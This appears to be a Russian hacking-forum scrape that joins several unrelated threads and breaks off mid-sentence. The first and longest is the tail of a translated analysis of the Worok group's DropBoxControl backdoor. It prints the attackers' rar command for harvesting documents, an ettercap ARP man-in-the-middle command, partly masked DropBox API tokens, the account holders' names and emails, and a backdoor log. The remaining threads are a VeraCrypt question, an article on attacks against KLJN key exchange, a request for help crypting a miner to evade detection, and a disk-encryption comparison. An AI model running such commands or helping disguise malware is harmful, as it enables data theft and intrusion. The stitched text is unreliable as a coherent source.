Злоумышленники указывают тип задачи и возможные параметры. Затем тип и параметры задачи упаковываются с использованием заголовка файла и загружаются в соответствующую папку клиента в виде файла запроса ( .req). Дальнейший анализ показал, что бэкдор обрабатывает .reqфайлы и создает файл результата ( .res) в качестве ответа для каждого файла запроса. Файл результатов имеет ту же файловую структуру, что и показанная на рис. 15 , но данные, длина данных и [ тип задачи ](https://decoded.avast.io/martinchlumecky/png-steganography/#task- type) имеют разные значения, поскольку возвращаемые данные содержат запрошенную (украденную) информацию. Сравнив все папки DropBox ( рисунок 16 ), мы определили имя файла запроса и результата в таком виде: [0-9]+-[0-9]+. Имя файла используется для идентификации запроса/ответа, а также для шифрования данных. Например, давайте использовать имя файла запроса 31-1233.req. IDMessageявляется 31-1233а также TaskIdявляется 1233. Таким образом, данные шифруются с помощью ClientIdа также TaskId, а также жестко закодированные hexEnc.

1668925906857.png
Рисунок 16. Список файлов DropBox

Рабочий процесс DropBoxControl

Мы определили и описали основные функциональные возможности DropBoxControl в разделах выше. Поэтому мы можем обобщить все эти знания в виде рабочего процесса бэкдора и описать весь процесс сбора данных, загрузки, скачивания и взаимодействия с хранилищем DropBox.
В начале PNGLoader извлекает стенографически внедренный DropBoxControl и вызывает метод Main класса C# Mydropbox.Program. Затем DropBoxControl расшифровывает и загружает конфигурационный файл, содержащий API-ключ DropBox. Большинство действий записывается в файл журнала.
Если текущее время находится между интервалом UpTime и DownTime, DropBoxControl становится активным и запускает основную функциональность. Он связывается с хранилищем DropBox и загружает файл time.txt в папку клиента. Если загрузка файла time.txt прошла успешно, бэкдор загружает список всех файлов, хранящихся в папке клиента. Список файлов итерируется, и каждый файл запроса (.req) загружается и обрабатывается в зависимости от типа задания (команды). DropBoxControl выполняет команду и создает файл результата (.res) с запрошенной информацией. Полученный зашифрованный файл загружается обратно в папку клиента. Наконец, обработанный файл запроса (.req) удаляется.

Анализ жертв

Жертвы, на которых была нацелена эта кампания, похожи на тех, кого видела компания ESET. Жертвами этой кампании стали компании и государственные учреждения в Азии и Северной Америке, а именно в Мексике. Вьетнам и Камбоджа - другие страны, пострадавшие от DropBoxControl. Одно из соединений DropBoxControl отслеживалось с IP, связанного с Министерством экономического развития России.

Обсуждение

Третий этап цепочки компрометации представлен C#-реализацией DropBoxControl. Функциональность DropBoxControl позволяет злоумышленникам контролировать и шпионить за машинами жертв. Более того, бэкдор имеет доступ к папке Program Files, поэтому мы ожидаем, что он будет запущен под правами администратора. Наиболее распространенной командой, наблюдаемой в лог-файлах, является получение информации о файлах жертв, а затем сбор данных.

Типичной командой для сбора данных является команда cmd; см. пример ниже:

Code:Copy to clipboard

rar.exe a -m5 -r -y -ta20210204000000 -hp1qazxcde32ws -v2560k Asia1Dpt-PC-c.rar c:\\\*.doc c:\\\*.docx c:\\\*.xls c:\\\*.xlsx c:\\\*.pdf c:\\\*.ppt c:\\\*.pptx c:\\\*.jpg c:\\\*.txt >nul

Атаки направлены на сбор всех интересующих файлов, таких как Word, Excel, PowerPoint, PDF и т.д. Они рекурсивно перебирают файлы на диске C:\\ и упаковывают их в зашифрованный архив rar, разбитый на несколько файлов. Другая команда, расшифрованная из файла запроса, запускает программу Ettercap, которая прослушивает сетевые соединения в реальном времени, используя атаку "человек посередине"; см. команду ниже:

Code:Copy to clipboard

ettercap.exe -Tq -w a.cap -M ARP /192.168.100.99/ //.

Злоумышленники могут прослушивать сетевые коммуникации и перехватывать учетные данные пользователей, отправленные, например, через веб-страницы.
Одним словом, DropBoxControl - это вредоносное ПО с функциями бэкдора и шпиона.

Аккаунт DropBox

Мы зафиксировали эти три API DropBox:

Code:Copy to clipboard

Bearer gg706X***************Ru_43QAg**********1JU1DL***********ej1_xH7e
Bearer ARmUaL***************Qg02vynP**********ASEyQa***********deRLu9Gx
Bearer WGG0iG***************kOdrimId**********ZQfzuw***********6RR8nNhy

Два ключа зарегистрированы на имя "Veronika Shabelyanova" (vershabelyanova1@gmail[.]com) с китайской локализацией. Электронная почта все еще активна, как и хранилище DropBox. Пользователь электронной почты - это славянская транскрипция "Вероника Шабелянова".
Третий репозиторий DropBox связан с гонконгским пользователем "Hartshorne Yaeko" (yaekohartshornekrq11@gmai[l].com).

Файлы DropBox

Мы следим за хранилищами DropBox и уже получили некоторую примечательную информацию. Аккаунты DropBox были созданы 11 июля 2019 года, судя по файлам README, созданным при создании аккаунта.

На данный момент только один репозиторий DropBox кажется активным. Оно содержит семь папок с семью файлами time.txt, поэтому существует семь активных экземпляров DropBoxControl, поскольку файлы time.txt содержат целые числа, которые периодически увеличиваются; см. раздел Файлы DropBox. Более того, целочисленные значения указывают на то, что бэкдоры работают непрерывно в течение десятков дней. Что касается команд бэкдора, мы предполагаем, что последняя активность, отправлявшая файлы запроса, была 1 июня 2022 года, также для семи бэкдоров. Наконец, общее количество папок, представляющих зараженные машины, равно двадцати одной жертве.
В апреле 2022 года злоумышленники загрузили сценарий на языке Lua, реализующий shortport библиотеки nmap для поиска служб Telnet, использующих s3270 для управления мэйнфреймами IBM; см. сценарий ниже.

1668926563226.png

**Качество кода DropBoxControl **​

Хотя обычно мы воздерживаемся от комментариев по поводу качества кода, в данном случае оно заслуживает упоминания, так как качество кода в лучшем случае спорно, и не каждое возражение можно списать на обфускацию. Код содержит много избыточного кода; как повторяющийся код, так и код, который не выполняет никакой функции. Признаком незнания C# является использование собственной реализации методов сериализации/десериализации вместо использования встроенных функций C#. Код многопоточности не опирается на обычные примитивы синхронизации, такие как семафоры, мьютексы и т. д., а использует логические флаги с периодическими проверками состояний потоков.Код также содержит части, предположительно скопированные из документации по API. Например, реализация DropBox_FileDownload содержит тот же комментарий, что и в [ документации DropBox](https://www.dropbox.com/developers/documentation/http/documentation#files- download); см. иллюстрацию ниже.

1668926640998.png

Еще одна странная особенность — метод шифрования файла конфигурации. DropBoxControlавтор попытался запутать конфигурацию в ieproxy.datфайл, потому что ключ API является конфиденциальной информацией. Однако, когда файл конфигурации расшифровывается и применяется, содержимое конфигурации регистрируется в iexplore.logфайл в виде простого текста.

Другими словами, весь проект DropBoxControl выглядит как школьный проект. Авторы не придерживаются обычных методов кодирования, полагаются на собственную реализацию общих примитивов и повторно используют код из примеров документации. Это приводит нас к оценке, что DropBoxControlавторы отличаются от авторов CLRLoaderа также PNGLoaderиз-за значительно отличающегося качества кода этих полезных нагрузок.

Вывод

Целью данного исследования было подтверждение предположений наших коллег- исследователей из ESET, опубликованных в статье о кибершпионской группе Worok. Нашему исследованию удалось расширить их компрометирующую цепочку, поскольку нам удалось найти артефакты, соответствующие цепочке, сопровождающей рассматриваемые образцы. Мы описали вероятные сценарии того, как первоначальная компрометация может быть запущена путем злоупотребления перехватом DLL служб Windows, в том числе боковым перемещением. Остальная часть цепочки компрометации очень похожа на описание ESET. Ключевым результатом этого исследования является перехват файлов PNG, как и предсказывала ESET. Стенографически встроенная полезная нагрузка C# (DropBoxControl) подтверждает, что Worok является группой кибершпионажа. Они крадут данные через учетную запись DropBox, зарегистрированную на активную электронную почту Google.
Распространенность инструментов Worok в дикой природе невелика, поэтому это может указывать на то, что набор инструментов представляет собой проект APT, ориентированный на известных организаций в частном и государственном секторах в Азии, Африке и Северной Америке.

Приложение

Spoiler: Журнал DropBoxControl

[02:00:50]:[+]Main starts.
[02:00:50]:[+]Config exists.
[02:00:50]:[__]DecryptContent is 1,Bearer gg706Xqxhy4*****************gQ8L4OmOLdI1JU1DL**********1ej1_xH7e#,300,7,23
[10:39:40]:[+]In work time.
[10:39:42]:[UPD] UploadData /data/2019/time.txt Starts!
[10:40:08]:[UPD] UploadData /data/2019/time.txt Success!
[10:40:10]:[UPD] UploadData Ends!
[10:40:10]:[+]Get Time.txt success.
[10:40:11]:[+] DropBox_GetFileList Success!
[10:40:11]:[DOWN] DownloadData /data/2019/31-3.req Starts!
[10:40:13]:[DOWN] DownloadData /data/2019/31-3.req Success!
[10:40:13]:[DOWN] DownloadData Ends!
[10:40:26]:[UPD] UploadData /data/2019/31-3.res Starts!
[10:40:27]:[UPD] UploadData /data/2019/31-3.res Success!
[10:40:27]:[UPD] UploadData Ends!
[10:40:27]:[DEL] Delete /data/2019/31-3.req Starts!
[10:40:28]:[DEL] Delete /data/2019/31-3.req Success!
[10:40:28]:[DEL] Delete Ends!
[10:40:28]:[DOWN] DownloadData /data/2019/31-4.req Starts!
[10:40:29]:[DOWN] DownloadData /data/2019/31-4.req Success!
[10:40:29]:[DOWN] DownloadData Ends!
[10:40:34]:[UPD] UploadData /data/2019/31-4.res Starts!
[10:40:36]:[UPD] UploadData /data/2019/31-4.res Success!
[10:40:36]:[UPD] UploadData Ends!
[10:40:36]:[DEL] Delete /data/2019/31-4.req Starts!
[10:40:36]:[DEL] Delete /data/2019/31-4.req Success!
[10:40:36]:[DEL] Delete Ends!
[10:40:36]:[DOWN] DownloadData /data/2019/31-5.req Starts!
[10:40:37]:[DOWN] DownloadData /data/2019/31-5.req Success!
[10:40:37]:[DOWN] DownloadData Ends!
[10:40:42]:[UPD] UploadData /data/2019/31-5.res Starts!
[10:40:43]:[UPD] UploadData /data/2019/31-5.res Success!
[10:40:43]:[UPD] UploadData Ends!
[10:40:43]:[DEL] Delete /data/2019/31-5.req Starts!
[10:40:44]:[DEL] Delete /data/2019/31-5.req Success!
[10:40:44]:[DEL] Delete Ends!
[10:40:44]:[DOWN] DownloadData /data/2019/31-7.req Starts!
[10:40:44]:[DOWN] DownloadData /data/2019/31-7.req Success!
[10:40:44]:[DOWN] DownloadData Ends!
[10:40:49]:[UPD] UploadData /data/2019/31-7.res Starts!
[10:40:50]:[UPD] UploadData /data/2019/31-7.res Success!
[10:40:50]:[UPD] UploadData Ends!
[10:40:50]:[DEL] Delete /data/2019/31-7.req Starts!
[10:40:52]:[DEL] Delete /data/2019/31-7.req Success!
[10:40:52]:[DEL] Delete Ends!

Значения типа задачи

4.png

PNG-файл со стеганографически встроенными полезными данными C#

Code:Copy to clipboard

29A195C5FF1759C010F697DC8F8876541651A77A7B5867F4E160FD8620415977
9E1C5FF23CD1B192235F79990D54E6F72ADBFE29D20797BA7A44A12C72D33B86
AF2907FC02028AC84B1AF8E65367502B5D9AF665AE32405C3311E5597C9C2774
Linux + VeraCrypt
ID: 676536fbb4103b69df373895
Thread ID: 42352
Created: 2020-09-22T05:54:56+0000
Last Post: 2020-09-25T08:59:51+0000
Author: fedyamask1991
Replies: 17 Views: 2K

Комрады, подскажите, а как настроить, чтобы вера делала анмаунт не смотря на то, что контейнер используется?

Четыре новых атаки на схему безопасного обмена ключами KLJN
ID: 676536fbb4103b69df373839
Thread ID: 59817
Created: 2021-12-07T21:25:47+0000
Last Post: 2021-12-07T21:25:47+0000
Author: tabac
Prefix: Статья
Replies: 0 Views: 2K

В этой статье мы рассмотрим четыре новых статистических атаки на схему безопасного обмена ключами KLJN (Кирхгофа-Лоу-Джонсона). В атаках используются генераторы случайных чисел. Мы рассмотрим несколько вариантов знакомства “хакера” с информацией о двух устройствах приема-передачи.

1. Как строится защищенное соединение​

Одним из способов обеспечения безопасности связи является шифрование, то есть преобразование открытого текста в зашифрованный с помощью шифра. Предположим, Алиса и Боб (рис. 1) хотят обмениваться между собой некоторой информацией через сеть с публичным доступом. Для обеспечения безопасности они используют ключ - секретную строку из рандомных битов, известную им обоим. Этот ключ используется как для шифрования, так и для дешифрования текста.

Рис. 1. Криптография с симметричным ключом
Рис. 1. Криптография с симметричным ключом

Зашифрованное сообщение является некой функцией от открытого текста Р и ключа К :

В криптографии с симметричным ключом для дешифрования используется обратная функция:

Перед началом работы протокола шифрования сторонам необходимо обменяться ключом, используя другой тип безопасного обмена. Безопасность передачи данных напрямую зависит от безопасности передачи защищенного ключа по каналу связи.

Пусть наш канал прослушивает Ева (рис. 1), которая имеет всю информацию о наших устройствах, их протоколах и алгоритмах. Ее цель - перехватить ключ безопасности. В идеальной ситуации ключ надежно генерируется и передается, а сразу после использования уничтожается.

Мы рассмотрим атаки на безопасный обмен ключами Кирхгофа-Лоу-Джонсона (KLJN) на основе генераторов случайных чисел (RNG), подразумевающих шумы сообщающихся сторон.

2. Схема KLJN​

Система KLJN представляет собой физическую схему, основанную на тепловом шуме резисторов, используемая для обмена ключами. Она состоит из четырех резисторов, двух генераторов шума и четырех вольтметров. На рис. 2 показана схема KLJN. Две общающиеся стороны, Алиса и Боб, соединены проводом. У них одинаковые пары резисторов, RA и RB. Статистически независимые напряжения теплового шума UH, A(t), UL, A(t) и UH, B(t), UL, B(t), представляют напряжения шума резисторов RH и RL (RH > RL) Алисы и Боба соответственно.

Они часто генерируются с помощью генераторов случайных чисел. В начале каждого периода обмена битами Алиса и Боб случайным образом выбирают один из своих резисторов для подключения к проводу.

Рис. 2. KLJN схема
Рис. 2. KLJN схема

В протоколе, основанном на напряжении, они измеряют среднеквадратичное напряжение провода. Теоретически среднеквадратическое напряжение провода определяется формулой Джонсона,

где Tэф - общая эффективная температура, Rp - параллельное результирующее сопротивление Алисы и Боба, которое находится по формуле

delta f - шумовая полоса генераторов, имитирующих тепловой шум.

При выборе резисторов Алисой и Бобом возможны четыре возможных битовых ситуации: HH, LL, LH и HL. Из формулы Джонсона это приводит к трем возможным уровням среднеквадратичного напряжения, как показано на рис. 3. Ситуации битов HH и LL небезопасны, потому что они отображаются с различным среднеквадратичным напряжением. Алиса и Боб отбрасывают эти периоды. С другой стороны, битовые ситуации LH и HL безопасны, потому что они выдают такое же среднеквадратичное напряжение. Ева не может различить битовые ситуации LH и HL, но Алиса и Боб может, потому что они знают, какой резистор они выбрали.
Рис. 3. Среднеквадратичные уровни напряжения схемы KLJN
Рис. 3. Среднеквадратичные уровни напряжения схемы KLJN

Битовые ситуации HH и LL небезопасны, потому что они отображают в среднеквадратичном напряжении, значение которого легко определяется. Алиса и Боб отбрасывают эти биты.

Популярность KLJN обусловлена тем, что такая схема может быть легко изготовлена. Недостатоком же KLJN является наличие нескольких способов атак, в которых нарушается безопасность. Было предложено несколько атак против схемы KLJN, но каждая известная атака была либо идейно или экспериментально неверной, либо для нее имелась подобранная схема защиты. В этой статье мы предлагаем четыре атаки, позволяющие перехватить передачу ключа при такой схеме.

  • О генераторах случайных чисел

Существует два вида практических генераторов случайных чисел: истинные (в зависимости от некой величины физической среды) и вычислительные. Вычислительные ГСЧ пытаются генерировать выходные данные так, чтобы они были практически неотличимы от случайных. Такие ГСЧ используют входные потоки, и при перехвате начальных данных выходная последовательность перестает быть неизвестной.

Существуют различные ГСЧ-атаки на условно защищенные каналы передач данных. Безопасное соединение также требует истинных случайных чисел для полной безопасности. В нашем случае мы используем в качестве физической величины среды напряжение шумов Алисы и Боба для генерации случайных чисел. На выходе мы получаем шум, который используется в аналоговой передаче данных.

  • Протокол статистической атаки

Рассмотрим две ситуации взлома, когда Ева знает входные значения только одной из сторон либо обеих.

Двустороннее знание​

Еве известны амплитуды генераторов шумового напряжения с обеих сторон. В этом случае используется перекрестная корреляционная атака.

Для четырех возможных комбинаций резисторов, HL, LH, LL и HH, Ева настраивает симулятор, используя свои шумы (которые коррелируют с соответствующими шумами Боба Алисы), и она записывает результирующие напряжения проводов UHH(t), ULL(t), UHL(t) и ULH(t). Затем она оценивает взаимную корреляцию между измеренным напряжением Uw(t) Алисы и Боба и моделируемыми. Для напряжения и тока на проводе верны следующие формулы:


Коэффициент взаимной корреляции для случая, например, НН ищется по формуле:


Случай с наибольшей перекрестной корреляцией и является наилучшим для нас. Аналогичным образом рассчитывается взаимная корреляция для тока, после чего находится максимальное значение коэффициента. Для протокола мощности канала Ева имеет в своем распоряжении измеренные Uw(t) и Iw(t). Она использует свои шумы для имитации четырех возможных форм волны: PHH(t), PLL(t), PHL(t) и PLH(t). Для моделируемого случая мощность рассматривается как произведение напряжения и тока.

Возможен также вариант корреляционной атаки напрямую. Ева измеряет напряжение и ток, и по полученным значениям, используя закон Ома, рассчитывает возможные падения напряжения на сопротивлениях Алисы/Боба RH и RL по правилу Кирхгофа для узла. Таким образом, мы получаем гипотетические амплитуды напряжения шума Алисы/Боба. С помощью этих данных мы проверяем четыре гипотезы:

Гипотеза (i): Алиса выбрала RL

Гипотеза (ii): Алиса выбрала RH

Гипотеза (iii): Боб выбрал RL

Гипотеза (iv): Боб выбрал RH

Для проверки гипотез мы находим взаимную корреляцию для 1-2 и 3-4, и выбираем случай максимальной.

Одностороннее знание​

Пусть Ева частично знает только о шумах Алисы, то есть о выходах генератора шума

резисторов Алисы, UL, A(t) и UH, A(t). Напряжение генератора Боба ей совершенно неизвестно.

Методы взаимной корреляционной атаки работают и здесь, с незначительными изменениями, как описано ниже.

Ева генерирует два независимых "фиктивных" тепловых шума для замены неизвестных напряжений шума Боба UH,B(t) и UL, B(t). Затем она использует протокол, соответствующий двустороннему случаю: она измеряет Uw(t) и Iw(t). Затем, исходя из Iw(t), она вычисляет гипотетическое падение напряжение на возможных вариантах сопротивлений RH и RL Алисы. С помощью этих данных она проверяет две гипотезы:

Гипотеза (i): Алиса выбрала RL

Гипотеза (ii): Алиса выбрала RH.

Обратим внимание, что в двустороннем случае она знала о шумах Боба, поэтому она могла сформулировать четыре гипотезы, в то время как в одностороннем случае она знает только напряжения генератора Алисы, поэтому она может сформировать только две гипотезы.

Аналогичным образом вычисляется максимальный коэффициент взаимной корреляции. Далее Ева оценивает измеренное среднеквадратичное напряжение на проводе в течение всего периода обмена битами. Исходя из этого значения, используя формулу Джонсона, она оценивает параллельное результирующее сопротивление Rр Алисы и Боба. Из Rр и RA она вычисляет RB по формуле

Таким образом, схема KLJN взломана. Мы получили четыре новых способа взломать схему передачи KLJN. Защита от таких атак заключается в использовании истинных генераторов случайных чисел (с достаточной устойчивостью к несанкционированному вмешательству), о которых мы уже говорили ранее.

Автор оригинала: Christiana Chamon, Shahriar Ferdous, Laszlo B. Kish

Как бы вы криптовали майнер? / обход RunTime
ID: 676536fbb4103b69df37383d
Thread ID: 49654
Created: 2021-03-21T00:27:55+0000
Last Post: 2021-11-27T21:47:24+0000
Author: Grape
Replies: 12 Views: 2K

Привет!
У меня к вам вопрос:
Как бы вы криптовали майнер, там же по идеи детекты по рантайм, выгружать прямо в память ?

LUKS, eCryptFS или шифрование ZFS? Выбираем способ защиты данных в Linux
ID: 676536fbb4103b69df373846
Thread ID: 58032
Created: 2021-10-22T19:28:53+0000
Last Post: 2021-10-22T19:28:53+0000
Author: tabac
Prefix: Статья
Replies: 0 Views: 2K

Многие дистрибутивы Linux в качестве штатных средств защиты предлагают полнодисковое шифрование (LUKS), шифрование папок и файлов (eCryptFS) или даже шифрование средствами ZFS, неродной для Linux файловой системой. Какой из доступных способов имеет смысл выбрать сегодня? Попробуем разобраться.

LUKS​

LUKS (Linux Unified Key Setup), а если быть точным, dm-crypt, — это классическая, универсальная, высокопроизводительная, хорошо изученная и не имеющая обнаруженных уязвимостей система шифрования дисков. LUKS поддерживает многочисленные алгоритмы шифрования и режимы работы, а также несколько хеш‑функций. В качестве алгоритма шифрования можно выбрать один из множества поддерживаемых, в частности AES, Serpent, Twofish, CAST-128 и CAST-256, которые могут работать в одном из четырех режимов: ECB, CBC-PLAIN64, CBC- ESSIV:hash или XTS-PLAIN64. Чаще всего по умолчанию используется комбинация параметров cbc-essiv:sha256 с шифрованием AES и 256-битным ключом.

В процессе создания зашифрованного диска или контейнера пользователь может указать любой алгоритм шифрования. Тем не менее использование любого алгоритма шифрования, кроме AES, контрпродуктивно: реальная безопасность (как и скорость подбора пароля при атаке) не увеличивается, а вот скорость работы страдает очень сильно из‑за того, что AES — единственный алгоритм шифрования, получивший аппаратную поддержку в виде набора команд процессора AES-NI.

Хеш‑функции, или функции одностороннего криптографического преобразования, используются для преобразования пароля в двоичный ключ в составе Key Derivation Function (KDF). LUKS поддерживает следующие варианты: SHA-1, SHA-256, SHA-512, RIPEMD160 и Whirlpool. Однозначно не рекомендую пользоваться SHA-1 и RIPEMD160. SHA-256 — выбор по умолчанию, но и функции SHA-512 и Whirlpool не хуже.

Одна из интересных возможностей LUKS — поддержка нескольких (до восьми) слотов ключей. Каждый из восьми слотов может быть защищен своим собственным уникальным паролем или ключом. С одной стороны, это позволяет разблокировать зашифрованные диски разным пользователям, каждый — своим собственным паролем. С другой — для расшифровки данных достаточно взломать любой пароль к любому из занятых слотов. В заголовке LUKS прописана информация о том, какие из слотов ключей заняты (то есть содержат действительные ключи для доступа к данным), а какие пустуют.

Важное следствие из такого механизма: удаление последнего из доступных ключей делает расшифровку данных невозможной, что позволяет мгновенно (или очень быстро) навсегда заблокировать доступ к зашифрованным данным.

Есть, однако, у LUKS и свои недостатки. С одной стороны, шифрование диска или раздела целиком отлично защищает данные, при этом скорость доступа к зашифрованным данным мало отличается от скорости доступа к незашифрованному массиву информации. С другой — шифрование действительно всех данных означает, что для проведения любых операций с зашифрованным диском, включая проверку целостности файловой системы, нужно смонтировать также весь диск целиком. Сделать резервную копию, создать или восстановить снапшот зашифрованного диска без ввода ключа шифрования не удастся.

Проблема создания и восстановления резервных копий, в том числе на недоверенные удаленные компьютеры, побудила разработчиков искать альтернативные способы шифрования. Одним из них стали криптографические (шифрующие) файловые системы.

КРИПТОГРАФИЧЕСКИЕ ФАЙЛОВЫЕ СИСТЕМЫ​

Помимо шифрования дисков целиком, в Linux можно использовать и шифрование на уровне папок (криптографические ФС). Такое шифрование можно включать как на обычных, так и на зашифрованных дисках. В готовых сетевых хранилищах чаще всего используется первый вариант, но в отдельных случаях (например, в некоторых моделях QNAP) можно использовать и второй.

Пользователям доступен довольно широкий выбор криптографических файловых систем. Среди них можно выделить две: eCryptFS, работающую на уровне ядра и не использующую FUSE, и EncFS, работающую в пространстве пользователя через FUSE.

eCryptFS шифрует каждый файл по отдельности; метаданные шифрования для каждого файла хранятся в его заголовке. Таким образом, как каждый отдельный файл, так и целые папки можно спокойно копировать между компьютерами. Это позволяет организовать систему «слепого» резервного копирования, когда копируются или синхронизируются только те зашифрованные файлы, которые были изменены. В то же время eCryptFS не позволяет воспользоваться функциями дедупликации файловой системы: каждый зашифрованный файл использует уникальную соль, в результате чего содержимое даже идентичных изначально файлов в зашифрованном виде будет различаться (с точки зрения безопасности это правильно).

eCryptFS часто используется для шифрования домашних каталогов пользователей (в этом случае администратор может настроить «слепое» резервное копирование), а также в ряде сетевых хранилищ (NAS) производства Asustor, QNAP, Synology, TerraMaster и некоторых других.

Самая популярная альтернатива eCryptFS — шифрующая файловая система EncFS. В отличие от предыдущего eCryptFS, EncFS работает в пространстве пользователя без каких‑либо дополнительных привилегий через фреймворк FUSE. К сожалению, не так давно в ней была найдена серьезная уязвимость, которая делает ее небезопасной для использования.
eCryptFS поддерживает несколько алгоритмов шифрования, включая AES, Blowfish, DES3_EDE, Twofish, CAST6 и CAST5. Так же как и в других случаях, использовать отличный от AES алгоритм шифрования смысла нет: надежность AES достаточна, а скорость работы этого шифра намного превышает скорость работы альтернатив благодаря аппаратному ускорению набором инструкций AES-NI.

eCryptFS шифрует каждый файл по отдельности; опционально могут быть зашифрованы и имена файлов и папок (в этом случае налагаются ограничения на длину имен файлов, которая не может превышать 143 символа ASCII).

Каждый файл шифруется сгенерированным случайным образом сессионным ключом, который в зашифрованном виде (пользовательским ключом или паролем) сохраняется в метаданных. Сами метаданные записываются в заголовок файла, что позволяет просто скопировать зашифрованный файл на другой компьютер и расшифровать его штатным образом.

Такой способ защиты вроде бы и позволяет обойти ограничения, налагаемые LUKS: чтобы создать или восстановить резервную копию, ключ шифрования не нужен — копируются и восстанавливаются зашифрованные файлы, каждый из которых содержит все необходимое для их расшифровки. Но к сожалению, это, наверное, единственное достоинство eCryptFS и подобных криптографических файловых систем. К недостаткам относятся:

  1. Невысокая производительность. В каждый зашифрованный файл добавляется заголовок, который содержит метаданные шифрования. Особенно сильно страдает скорость доступа к небольшим файлам.
  2. Низкий уровень безопасности. Наружу утекают данные о количестве файлов в каталогах, размере и дате модификации каждого файла.
  3. При шифровании папок в сетевых хранилищах нет возможности сменить пароль шифрования. Скомпрометированный пароль означает, что необходимо полностью перешифровать данные.
  4. Функциональные ограничения. При шифровании имен файлов и папок длина имени файла не может превышать 143 символа ASCII. В зависимости от некоторых параметров могут быть и другие ограничения (например, невозможно использовать сетевые папки с NFS).
  5. Не работают некоторые функции файловой системы. В частности, в зашифрованных папках не действует механизм дедупликации.

Все эти ограничения привели к тому, что разработчики серьезно задумались о создании такой системы защиты данных, которая сочетала бы достоинства шифрования дисков и папок без их недостатков. И такая система была создана — в рамках проекта OpenZFS 2.0.

ZFS​

Файловая система ZFS, корни которой растут из Solaris, давно доступна пользователям Linux и FreeBSD. В некоторые дистрибутивы OpenZFS 2.0 входит в качестве штатного пакета, в других ее можно установить отдельно. Большинство дистрибутивов без проблем загружается с разделов ZFS.

ZFS — нечто большее, чем просто файловая система. Средствами ZFS можно создавать многодисковые конфигурации и управлять ими без использования mdadm и LVM, создавать и реплицировать снапшоты, в том числе на удаленных серверах. Неудивительно, что и для защиты данных разработчики ZFS разработали свою собственную встроенную систему, не использующую dm-crypt.

Что интересного можно сказать о шифровании ZFS?

Пожалуй, основной момент в том, что встроенное шифрование ZFS позиционируется в качестве осовремененной замены традиционным средствам шифрования дисков наподобие LUKS или встроенного в ОС FreeBSD GELI и при этом обладает рядом преимуществ, ранее доступных только при использовании криптографических файловых систем. Шифрование в ZFS тесно интегрировано с функциями файловой системы. В отличие от LUKS, на зашифрованных томах без ввода ключа шифрования можно выполнять большинство, если не все команды zfs и zpool, включая операции по верификации целостности данных, снапшоты и их репликацию, дедупликацию данных и многое другое. Для сравнения: если диск зашифрован средствами dm- crypt, то для выполнения подобных операций потребуется сначала ввести ключ шифрования.

В сравнении с шифрованием на уровне файловой системы (eCryptFS), которое также позволяет создавать и реплицировать зашифрованные снапшоты и контролировать целостность зашифрованных данных без ключа, шифрование ZFS имеет несколько преимуществ. Здесь и значительно более высокая скорость шифрования (особенно заметно на небольших файлах), и более высокий уровень безопасности: на сторону не утекают данные о числе и размерах папок и файлов и времени их модификации. Разумеется, ключ шифрования можно сменить в любой момент (eCryptFS этого сделать не позволяет), а при необходимости (например, при продаже диска или отправке в сервис) — практически мгновенно уничтожить все данные, просто затерев метаданные шифрования.

Разработчики утверждают, что использование встроенного в ZFS шифрования позволяет решить следующие проблемы традиционных методов.

Проблемы с шифрованием папок (ecryptfs)​

  • Если данные шифруются перед сжатием, они становятся несжимаемыми.
  • Не работает дедупликация.
  • Метаданные шифрования записываются в заголовок каждого файла (увеличивается объем хранимых данных, особенно если хранится множество мелких файлов).

Полнодисковое шифрование (dm-crypt)​

  • Многократное шифрование повторяющихся данных.
  • С зашифрованным диском невозможно проводить какие‑либо операции, если не загружен ключ шифрования.
  • Без ключей шифрования невозможны резервные копии, снапшоты, репликация.

Не обошлось и без некоторых компромиссов. Во‑первых, без ключа шифрования можно увидеть имена и размеры файловых систем, а также данные, доступные с помощью команд zfs и zpool. Злоумышленнику эти данные вряд ли принесут пользу, в отличие от информации о структуре файловой системы, числе и размерах зашифрованных файлов, которая утекает при использовании eCryptFS.

Разработчики упоминают еще один тип данных, который не защищается на зашифрованных ZFS томах. Это таблицы дедупликации, которые создаются, если пользователь включает дедупликацию данных. Каждый блок данных, дублирующийся или нет, по‑прежнему зашифрован, но анализ таблиц дедупликации может показать, какие именно блоки на диске дублируются. Ценность этой информации для злоумышленника сомнительна, так что этот момент нельзя считать серьезной уязвимостью. В то же время при включении дедупликации меняется алгоритм генерации IV и соли (поскольку идентичные блоки данных должны совпадать и после того, как они будут зашифрованы), так что при хранении критических данных дедупликацию рекомендуется отключить.

![Слайд из презентации ZFS Encryption 2](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F18c8c1dc9cb3d53443ea7e0732605679%2F23277%2Fzfs- dedup.jpg&hash=cf3ba6723cd5e7a03adbaf6e9d1fe37d)
Слайд из презентации ZFS Encryption 2

Еще одна потенциальная уязвимость — CRIME (Compression Ratio Info-leak Made Easy) может быть реализована в сценарии, когда данные сжимаются перед тем, как быть зашифрованными.

КАК РАБОТАЕТ ШИФРОВАНИЕ В ZFS​

В качестве алгоритма шифрования используется шифр AES-256 в режиме GCM; опционально можно выбрать AES с длиной ключа в 128, 192 или 256 бит в режимах CCM или GCM. Информация о том, какой именно выбран шифр, сохраняется в метаданных шифрования. Ключ шифрования защищается ключом, генерирующимся произвольным числом итераций функции PBKDF2. По умолчанию используется 350 000 итераций, минимальное значение — 100 000. Для создания зашифрованного пула используется следующая команда:

Code:Copy to clipboard

# zfs create -o encryption=[algorithm] -o keylocation=[location] -o keyformat=[format] poolname/datasetname

Если ты создаешь зашифрованный загрузочный раздел и хочешь, чтобы он монтировался автоматически при загрузке, то единственный доступный вариант шифрования — с использованием двоичного ключа (файла, путь к которому указывается в формате file:///path/to/keyfile). Размер ключа шифрования — строго 32 байта; генерируют случайный ключ командой

Code:Copy to clipboard

# if=/dev/urandom bs=32 count=1 of=/path/to/keyfile

Для прочих томов можно использовать как двоичный ключ, так и пароль. Длина пароля может быть от 8 до 512 символов.

Code:Copy to clipboard

# zfs create -o encryption=aes-256-gcm -o keyformat=passphrase poolname/ datasetname

Важно отметить, что ZFS (так же, впрочем, как и остальные современные системы, включая BitLocker) не будет шифровать данные напрямую ключом, который генерируется на основе пароля или двоичного ключа. Для собственно шифрования используется мастер‑ключ, который, в свою очередь, защищается ключом шифрования (двоичным или ключом, получающимся в результате преобразования пароля N итерациями функции PBKDF2).

![Слайд из презентации ZFS Encryption 2](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F18c8c1dc9cb3d53443ea7e0732605679%2F23276%2Fzfs- change-key.jpg&hash=e071af98a9d7f90c930af51c4b6e2905)
Таким образом, можно перечислить следующие свойства шифрования ZFS:

